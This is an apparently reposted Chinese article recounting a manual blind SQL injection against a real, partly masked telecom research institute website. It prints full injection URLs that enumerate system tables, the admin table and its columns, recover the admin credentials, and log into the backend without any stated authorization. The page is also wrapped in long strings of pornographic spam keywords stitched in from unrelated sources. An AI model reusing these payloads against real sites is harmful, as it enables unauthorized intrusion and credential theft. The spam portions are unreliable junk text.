精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

某網站安全檢測之數據庫手工注入

安全 數據安全
所謂數據庫注入,也就是SQL Injection,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。來自官方的說法是:“當應用程序使用輸入內容來構造動態SQL語句以訪問數據庫時,會發生SQL注入攻擊。

一、引子

長夜慢慢,無心睡眠……

無意中翻到幾年前聽的一首名為《祖先的陰影》的搖滾,這么長久的歷史,混合著許多的罪惡與功績;這么“燦爛的文化”,夾雜著太多的愚昧與文明。美好的,如漢字,圍棋古箏,詩詞曲賦等;糟糕的,如一輩子只會干“殺盡叛賊、占據王位,選好王妃,建造墳堆”四件事的皇帝及官僚制度,小腳,太監及八股文等等。

噢,且慢,八股文——不要言之過早!今天,讓我用八股文這一舊瓶,來包裝一下IT方面的新酒;把數據庫注入這一有幾個年頭的安全技術,再寫一篇略有新意的文章。

二、概要

所謂數據庫注入,也就是SQL Injection,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。來自官方的說法是:“當應用程序使用輸入內容來構造動態SQL語句以訪問數據庫時,會發生SQL注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的用戶輸入的字符串來傳遞,也會發生SQL注入攻擊。SQL注入可能導致攻擊者能夠使用應用程序登錄在數據庫中執行命令。如果應用程序使用特權過高的帳戶連接到數據庫,這種問題會變得很嚴重。”在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入攻擊。而許多網站程序在編寫時,沒有對用戶輸入數據的合法性進行判斷或者程序中本身的變量處理不當,使應用程序存在安全隱患。這樣用戶就可以提交一段數據庫查詢代碼,(一般是在瀏覽器地址欄進行,通過正常的www端口訪問)根據程序返回的結果,獲得一些敏感的信息或者控制整個服務器,于是SQL注入產生了。其實簡單點說,SQL注入的原理就是從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取你想到得到的資料。

當然,能不能構造、構造什么樣的數據庫查詢代碼,就有是菜鳥和高手的區別了;同時我向大伙保證:我絕不是高手——我基本上連數據庫都不會用,所以大伙看了文章后不要問我太多太深的問題,因為我也不知道。

三、檢測

查找資料的過程中,被鏈接到某電信技術研究院網站,看了一下首頁代碼及鏈接,用and和or簡單測試了一下,沒發現什么,在最后快要放棄的時候,發現如下頁面有點意思。

1=1(不正常)

[[60427]]

1=2(也不正常)

加一個特殊符號,則如下圖示。

[[60428]]

(返回正常)

[[60429]]

(返回異常)

嘿嘿,存在注入,心花怒放!

四、暴庫

上面就可以知道該網站后臺數據庫是MS SQL Server。

[[60430]]

(select count(*) from [sysobjects])>=0(返回正常,可見數據庫為SQL Server)

探測該網站數據庫實例名,我很幸運,竟然通過錯誤暴出來,請看下圖。

[[60431]]

SQL Server中DB_NAME 最大值是NVARCHAR(128),我提交錯誤,網站也報錯,看紅色下劃線處和紅色長方形里,可見數據庫實例名為jstrd。

五、尋表

漫長而痛苦的工作開始了,同時因為在創建一個數據庫的同時,系統會自動建立一些系統表,我構造了如下的語句,來探測數據庫實例jstrd中的表名。

限于篇幅的緣故我在這里只介紹與應用實例有關的一個系統表(SYSOBJECTS)及其相關的字段。

表SYSOBJECTS為數據庫內創建的每個對象(約束,規則,表,視圖,觸發器等)創建一條記錄。該表相關字段的含義如下:

SYSOBJECTS.name 對象名,如:表名,視圖名。

SYSOBJECTS.id 對象id。

SYSOBJECTS.type 對象類型(p存儲過程,v視圖,s系統表,u用戶表)。

[[60432]]

太帥了,返回正確,提交的“系統態”語句是:

http://*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1

翻譯成我們容易識別的“用戶態”(以后都用這種形式表示)是:

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))<=67)>0 and '1'='1&classid=1

或許各位要懵了,這都是些什么東西啊,亂七八糟的?我笑而不答,謎底將在后面揭開。但事先點一下:

xtype是那張表的一個字段,xtype=char(117) 也就是xtype='U' 意思是取用戶的表??崭?Space)的ASCII編碼是32。

歷經多次的失敗后,在如下語句輸入時,探測到我認為是存儲用戶名和密碼的一張表(之前也探測到別的表,但我認為對自己沒有用。并且要說一下的是當我探測到有TblAd之后,我直覺得加上了TblAdmin;后來發現還沒完,有TblAdminUs之后,我直覺得加上了TblAdminUser)。

[[60433]]

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and '1'='1&classid=1

可見有TblAdminUser這么一張表,我們可以再測試一下,如下圖。

[[60434]]

and (select count(*) from TblAdminUser)>0

六、探列

各位看到這里,上面的謎底很可能都明白了。什么,還有不明白的!那好,告訴你:網站及后臺系統理會我上面所說的“系統態”,不理會“用戶態”。你們看看如下兩個表。

[[60435]]

(部分Unicode編碼表)

[[60436]]

(部分ASCII編碼表)

剛才尋到了表,現在我們的工作是探列了,綜合運用上面提到過的知識,加上我的直覺猜測里面應該就有username和password兩個列,果然!請看下圖。

[[60437]]

http://*/show_products.asp?id=22'and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and '1'='1&classid=1

[[60438]]

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1

七、結果

沖鋒的號角已經響起,勝利在望;可“行百里者,半于九十”,真正要花大半功夫的地方,也在這。

[[60439]]

http://*/show_products.asp?id=22'%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20'1'='1&classid=1

可見username列中,第一個字符是a (ASCII編碼為97),很快,就猜測到了是admin。

判斷password列中,第一個字符應該在g之后,如下圖示。

[[60440]]

http://*/show_products.asp?id=22' (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and '1'='1&classid=1and

很快,就猜到了是j,呵呵,有點意思。如下圖示。

[[60441]]

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1

歷經千辛萬苦后,我終于找到了全部密碼,竟然是*********

輕松找到后臺,登陸,果然正確!如下圖示。

[[60442]]

八、尾聲

因為這份文檔主要側重數據庫手工注入,所以注入成功獲得網站控制權后的進一步滲透不作介紹。在這里,是我拋出一塊破磚,引大伙收獲更多的良玉。個人感覺,注入能成功,得益于以下三點:

1、Unicode編碼和ASCII編碼的應用;

2、系統會自動建立的系統表sysobjects的應用;

3、db_name最大長度128的應用,加上一些直覺判斷。

整個過程,耗了近一個星期的業余時間,此時,又是一個深夜……

夜色沉沉,睡意濃濃。

責任編輯:藍雨淚 來源: 星星落在我頭上
相關推薦

2010-09-30 09:11:01

2010-11-01 17:30:01

2010-09-30 08:27:48

2011-04-11 13:19:41

Oracle數據庫

2011-03-31 09:19:54

數據庫優化

2024-01-01 16:16:26

2010-05-06 09:30:16

Oracle創建數據庫

2019-05-31 12:13:49

MySQL數據庫安全

2009-01-06 15:20:01

2009-10-09 15:20:12

2010-04-12 08:59:00

2013-11-12 16:38:22

2013-04-26 11:39:40

2019-01-16 14:20:42

2014-01-17 12:35:48

2011-03-07 15:54:30

2015-10-30 15:05:08

Sybase數據庫安全

2011-03-10 13:24:26

2010-11-09 17:19:49

SQL Server導

2016-12-14 14:45:16

點贊
收藏

51CTO技術棧公眾號

欧美精品久久久久久久久老牛影院| 97se亚洲国产综合自在线观| 成人97在线观看视频| 丰满岳乱妇一区二区| 无人区在线高清完整免费版 一区二| 国产精品激情偷乱一区二区∴| 亚洲精品免费av| 国产精品777777| 亚洲澳门在线| 精品亚洲永久免费精品| 亚洲免费av一区| av岛国在线| 国产精品福利电影一区二区三区四区| 国产精品一区二区你懂得| 亚洲免费视频二区| 国产欧美丝祙| 欧美日韩电影在线观看| 国产精品20p| 日本免费精品| 欧美丰满高潮xxxx喷水动漫| 91丨porny丨探花| 成人短视频在线| 久久久国产精品麻豆| 91久久精品国产91久久| 综合激情网五月| 国产精品v日韩精品v欧美精品网站 | 九九热最新地址| 丝袜av一区| 精品播放一区二区| 操人视频免费看| 福利一区二区| 欧洲av在线精品| 日本精品免费在线观看| h片精品在线观看| 亚洲精品欧美激情| 亚洲图片小说在线| 成人福利在线| 国产欧美日韩精品一区| 蜜桃精品久久久久久久免费影院 | 大陆成人av片| 高清视频一区二区三区| 国产剧情精品在线| 国产一区二区三区在线观看精品| 国产精品毛片a∨一区二区三区|国| 免费av网站在线| 国产欧美日韩一区二区三区在线| 久久免费精品日本久久中文字幕| 中文字幕另类日韩欧美亚洲嫩草| 99精品国产一区二区三区| 国产亚洲欧美一区| 天天操天天干天天操天天干| 国产精品嫩草影院在线看| 亚洲欧美一区二区精品久久久| 黄色av网址在线观看| 久久丝袜视频| 亚洲精品动漫久久久久| 精品人妻伦一二三区久| 精品精品国产毛片在线看| 精品日韩欧美在线| 成人在线视频免费播放| 欧美丝袜美腿| 亚洲欧美资源在线| xxx在线播放| av资源久久| 日韩一区二区在线视频| 成人欧美一区二区三区黑人一| 日韩久久精品网| 久久精品国亚洲| 青青青在线视频| 亚洲精选久久| 国产精品h片在线播放| 中文字幕乱码视频| 国产精品77777竹菊影视小说| 国产精品福利视频| 蜜桃免费在线| 中文欧美字幕免费| 50度灰在线观看| 天堂av在线| 欧美日韩国产三级| 中文字幕人妻一区| 免费观看久久av| 久久精品小视频| 国产一级片久久| 午夜影院日韩| 91网站在线看| 日韩毛片在线一区二区毛片| 国产精品久线观看视频| 妞干网在线播放| 日本精品另类| 精品福利一区二区三区免费视频| 在线免费观看日韩av| 日韩一区亚洲二区| 久久人人爽人人爽人人片av高清| 无码视频在线观看| 国产美女一区二区| 欧美日韩在线高清| 尤物在线网址| 色视频欧美一区二区三区| 佐山爱在线视频| 精品久久影视| 97视频人免费观看| 国产一区二区视频免费观看| 久久久美女毛片| 老司机激情视频| 成人国产一区| 日韩成人av在线| 精品欧美一区二区久久久久| 日韩影院精彩在线| 国产一区国产精品| av在线free| 欧美性色综合网| av无码av天天av天天爽| 欧美69wwwcom| 国产又爽又黄的激情精品视频 | 最近2019年中文视频免费在线观看| 久久精品国产亚洲av香蕉| 蜜桃精品在线观看| 欧美日韩一区二区三区免费| 国产丝袜精品丝袜| 91精品国产91热久久久做人人| 四虎影成人精品a片| 黄色亚洲免费| 91成人在线看| a级片国产精品自在拍在线播放| 欧美在线观看18| 久久丫精品国产亚洲av不卡| 亚洲午夜黄色| 亚洲综合在线播放| 国产三区在线观看| 欧美日韩国产三级| а天堂中文在线资源| 高清精品在线| av电影天堂一区二区在线| 国产精品三p一区二区| 久久精品伊人| 亚洲a级在线观看| a√资源在线| 色综合久久综合| 亚洲 欧美 日韩在线| 欧美日韩亚洲一区| 91九色极品视频| 国产视频一区二区| 欧美精品tushy高清| 91狠狠综合久久久久久| 视频一区免费在线观看| 精品国产日本| 女厕盗摄一区二区三区| 亚洲国产精品yw在线观看| 加勒比av在线播放| 国产91色综合久久免费分享| 国产乱子伦精品视频| 色妞ww精品视频7777| 精品视频9999| 欧美一区二区黄片| 午夜精品久久久久久| 野战少妇38p| 9久re热视频在线精品| 国产精品久久波多野结衣| 成人免费高清观看| 亚洲精品之草原avav久久| 特级毛片www| 国产欧美精品在线观看| 亚洲天堂国产视频| 欧美在线黄色| 国产中文一区二区| 免费观看亚洲| 日韩中文在线视频| www.五月天激情| 欧美日韩午夜激情| 少妇愉情理伦三级| 成人午夜碰碰视频| 免费在线激情视频| 日韩精品dvd| 亚洲在线视频福利| 嗯啊主人调教在线播放视频| 一本色道久久综合狠狠躁篇的优点| 在线观看免费视频a| 一区二区在线观看视频在线观看| 毛茸茸free性熟hd| 日韩黄色小视频| 六月婷婷激情网| 欧美日韩一区二区三区四区不卡 | 日本老太婆做爰视频| 国产成人精品福利| 国产精品国产三级国产aⅴ9色| 麻豆影视在线观看_| 欧美精品一区二区三区四区| 国产免费a视频| 一区二区三区**美女毛片| 国产精品无码一区二区三区免费 | 美女流白浆视频| 久久都是精品| 青青草综合视频| 欧美日韩爱爱| aa日韩免费精品视频一| 欧美free嫩15| 午夜精品视频网站| 欧美一区二区三区| 亚洲毛片在线看| www.爱爱.com| 欧美在线不卡视频| 亚洲视频免费播放| 亚洲三级在线看| 久久久久亚洲av无码专区桃色| 国产乱人伦偷精品视频不卡| 国产淫片av片久久久久久| 欧美精品成人| 亚洲精品乱码视频| 亚洲成a人片77777在线播放| 成人免费大片黄在线播放| 精品91久久| 久久久久久久999| 欧美a免费在线| 国产亚洲欧美一区| 香蕉视频免费看| 日韩欧美国产综合在线一区二区三区| 成人免费视频国产免费| 午夜精品一区在线观看| 日本少妇高清视频| 国产精品久久久久精k8| 国产精品扒开腿做爽爽| www.亚洲精品| 少妇熟女视频一区二区三区| 国产自产v一区二区三区c| 日日碰狠狠躁久久躁婷婷| 99视频精品| 精品久久一二三| 亚洲精品孕妇| 欧美亚洲日本一区二区三区| 综合激情一区| 干日本少妇视频| 亚洲色图网站| 国产卡一卡二在线| 999国产精品视频| 亚洲精品一品区二品区三品区 | youjizz在线视频| 性做久久久久久| 久久亚洲精品大全| 亚洲自拍偷拍九九九| 极品颜值美女露脸啪啪| 亚洲乱码中文字幕| 青青草激情视频| 一区二区在线观看视频| 久久久久久久久久久久久久免费看 | 免费在线看成人av| www.天天射.com| 美女视频免费一区| 黄大色黄女片18第一次| 激情五月婷婷综合| 91网址在线观看精品| 国产精品一区二区三区99| 精产国品一区二区三区| 国产成人午夜视频| 中文字幕在线观看91| 成人中文字幕合集| 国产精品无码一区二区三| 95精品视频在线| 国产精品久久久久无码av色戒| 国产亚洲欧美中文| 国产黄色片在线| 自拍偷拍欧美激情| 免费网站观看www在线观| 亚洲一区二区三区四区在线| 日本系列第一页| 在线视频国内一区二区| 国产一区二区三区成人| 欧美变态tickling挠脚心| 日本美女一级片| 精品亚洲va在线va天堂资源站| 精品久久av| 久久综合久久88| 黄色免费在线观看| 性欧美xxxx视频在线观看| 二区三区不卡| 91久久嫩草影院一区二区| 999久久精品| 欧美资源一区| 亚洲女同另类| 777av视频| 日韩电影在线观看电影| 亚洲av毛片在线观看| eeuss国产一区二区三区| 永久免费毛片在线观看| 亚洲免费成人av| 精品久久久久久久久久久久久久久久| 欧美日韩久久一区二区| 欧美 日韩 国产 成人 在线 91| 亚洲欧美一区二区三区情侣bbw| 免费av不卡| 欧美在线视频免费播放| 91国产精品| 欧美日韩中文国产一区发布| 亚洲精品国产偷自在线观看| 日韩avxxx| 国产精品一卡二| 日韩av片在线| 午夜一区二区三区视频| 亚洲天堂男人网| 欧美一区二区三区影视| 国产在线一二| 国内精品在线一区| 亚洲国产91视频| 欧美日韩成人一区二区三区| 欧美久久综合| aaa一级黄色片| 久久精品一级爱片| 久久久久久久久久91| 欧美精品第1页| 成人在线免费电影| 欧美性受xxxx白人性爽| 亚洲精选av| 中文精品一区二区三区| 久久综合导航| 毛茸茸free性熟hd| 亚洲自拍与偷拍| 99久久亚洲精品日本无码| 亚洲性xxxx| 在线天堂新版最新版在线8| 成人国产一区二区| 99久久99久久精品国产片果冰| 粗暴91大变态调教| 99v久久综合狠狠综合久久| 九九视频在线免费观看| 在线播放中文一区| aaa在线免费观看| 国产精品国产自产拍高清av水多 | 亚洲欧洲免费视频| 超碰成人av| 狠狠色狠狠色综合人人| 亚洲一级一区| 亚洲少妇一区二区三区| 有码一区二区三区| 99国产精品99| 欧美www在线| 不卡的国产精品| 好吊色这里只有精品| 久久99深爱久久99精品| 婷婷丁香综合网| 制服视频三区第一页精品| 黄色免费在线观看网站| 亚洲影院色无极综合| 一区二区三区午夜视频| 中文字幕一二三区| 亚洲综合久久久| 日批视频在线播放| 97在线视频免费观看| 任你弄精品视频免费观看| 免费无码国产v片在线观看| 久久奇米777| 国产日韩在线免费观看| 色诱女教师一区二区三区| 在线高清欧美| 久久久久久久久影视| 成人永久免费视频| 午夜精品三级久久久有码| 亚洲精品视频免费| 欧美日一区二区三区| 中文字幕色一区二区| 国产福利91精品一区二区三区| 九九热国产精品视频| 亚洲国产99精品国自产| 国产精欧美一区二区三区蓝颜男同| 欧美日韩一区在线播放| 久久99在线观看| 国产在线观看99| 亚洲欧美精品伊人久久| 99re久久| 国产成人一区二区三区别| 波多野结衣在线一区| 无码人妻一区二区三区免费| 久久精品一本久久99精品| japanese色系久久精品| 国产免费黄视频| 国产精品国产精品国产专区不蜜| 国产视频在线一区| 91黄色8090| 99久久精品网站| 制服丝袜第一页在线观看| 在线欧美小视频| 青青草视频在线免费直播| 免费看成人午夜电影| 久久99精品国产麻豆婷婷| 久久精品国产亚洲av麻豆色欲| 亚洲香蕉av在线一区二区三区| 只有精品亚洲| 国产91对白刺激露脸在线观看| 亚洲欧洲国产日本综合| 少妇人妻精品一区二区三区| 国产精品久久久久久久久男| 欧美网站在线| 成人在线手机视频| 精品播放一区二区| 亚洲精品一区av| 成人免费观看毛片| 一区二区三区蜜桃网| 成人激情电影在线看| 国产一区二区久久久| 精品一区二区免费在线观看| 韩国av中文字幕| 色综合色综合网色综合|